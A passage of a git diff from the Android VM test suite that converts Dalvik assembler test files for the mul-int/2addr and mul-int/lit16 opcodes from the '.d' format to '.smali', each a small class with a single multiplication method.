+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       mul-int/2addr v7, v8
+       return v7
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_3.d
deleted file mode 100644
index 8c14a36..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_2addr_3.java
-.class public dot.junit.opcodes.mul_int_2addr.d.T_mul_int_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(ID)I
-.limit regs 8
-
-       mul-int/2addr v5, v6
-       return v5
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_3.smali
new file mode 100644
index 0000000..a066367
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       mul-int/2addr v5, v6
+       return v5
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_4.d
deleted file mode 100644
index 64e0ba1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_2addr_4.java
-.class public dot.junit.opcodes.mul_int_2addr.d.T_mul_int_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       mul-int/2addr v5, v7
-       return v5
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_4.smali
new file mode 100644
index 0000000..a5e7ba3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       mul-int/2addr v5, v7
+       return v5
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_5.d
deleted file mode 100644
index 9a22395..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_2addr_5.java
-.class public dot.junit.opcodes.mul_int_2addr.d.T_mul_int_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       mul-int/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_5.smali
new file mode 100644
index 0000000..400ef1c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       mul-int/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_6.d
deleted file mode 100644
index c8bbcd2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_2addr_6.java
-.class public dot.junit.opcodes.mul_int_2addr.d.T_mul_int_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 8
-
-       mul-int/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_6.smali
new file mode 100644
index 0000000..a6bd55e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 8
+
+       mul-int/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_1.d
deleted file mode 100644
index d7dd6f3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit16_1.java
-.class public dot.junit.opcodes.mul_int_lit16.d.T_mul_int_lit16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit16 v0, v8, 130
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_1.smali
new file mode 100644
index 0000000..e58e32b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_1.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit16 v0, v8, 130
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_10.d
deleted file mode 100644
index 91c550c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_10.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit16_10.java
-.class public dot.junit.opcodes.mul_int_lit16.d.T_mul_int_lit16_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit16 v0, v7, 4321
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_10.smali
new file mode 100644
index 0000000..24c84c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_10.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_10.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit16 v0, v7, 4321
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_2.d
deleted file mode 100644
index 200afbe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit16_2.java
-.class public dot.junit.opcodes.mul_int_lit16.d.T_mul_int_lit16_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit16 v0, v8, -321
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_2.smali
new file mode 100644
index 0000000..309d416
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_2.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit16 v0, v8, -321
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_3.d
deleted file mode 100644
index aed3dd4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit16_3.java
-.class public dot.junit.opcodes.mul_int_lit16.d.T_mul_int_lit16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 9
-
-       mul-int/lit16 v0, v8, 130
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_3.smali
new file mode 100644
index 0000000..303dac3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_3.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 9
+
+       mul-int/lit16 v0, v8, 130
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_4.d
deleted file mode 100644
index 532ce52..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit16_4.java
-.class public dot.junit.opcodes.mul_int_lit16.d.T_mul_int_lit16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit16 v0, v8, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_4.smali
new file mode 100644
index 0000000..7d158ba
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_4.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit16 v0, v8, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_5.d
deleted file mode 100644
index 0d4d3ea..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit16_5.java
-.class public dot.junit.opcodes.mul_int_lit16.d.T_mul_int_lit16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit16 v0, v8, 1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_5.smali
new file mode 100644
index 0000000..2995ee8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_5.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit16 v0, v8, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_6.d
deleted file mode 100644
index a719ab3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit16_6.java
-.class public dot.junit.opcodes.mul_int_lit16.d.T_mul_int_lit16_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit16 v0, v8, 32767
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_6.smali
new file mode 100644
index 0000000..db96579
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_6.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit16 v0, v8, 32767
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_7.d
deleted file mode 100644
index 511de2d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_7.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit16_7.java
-.class public dot.junit.opcodes.mul_int_lit16.d.T_mul_int_lit16_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 9
-
-       mul-int/lit16 v0, v9, 3276
-       return v0
-.end method
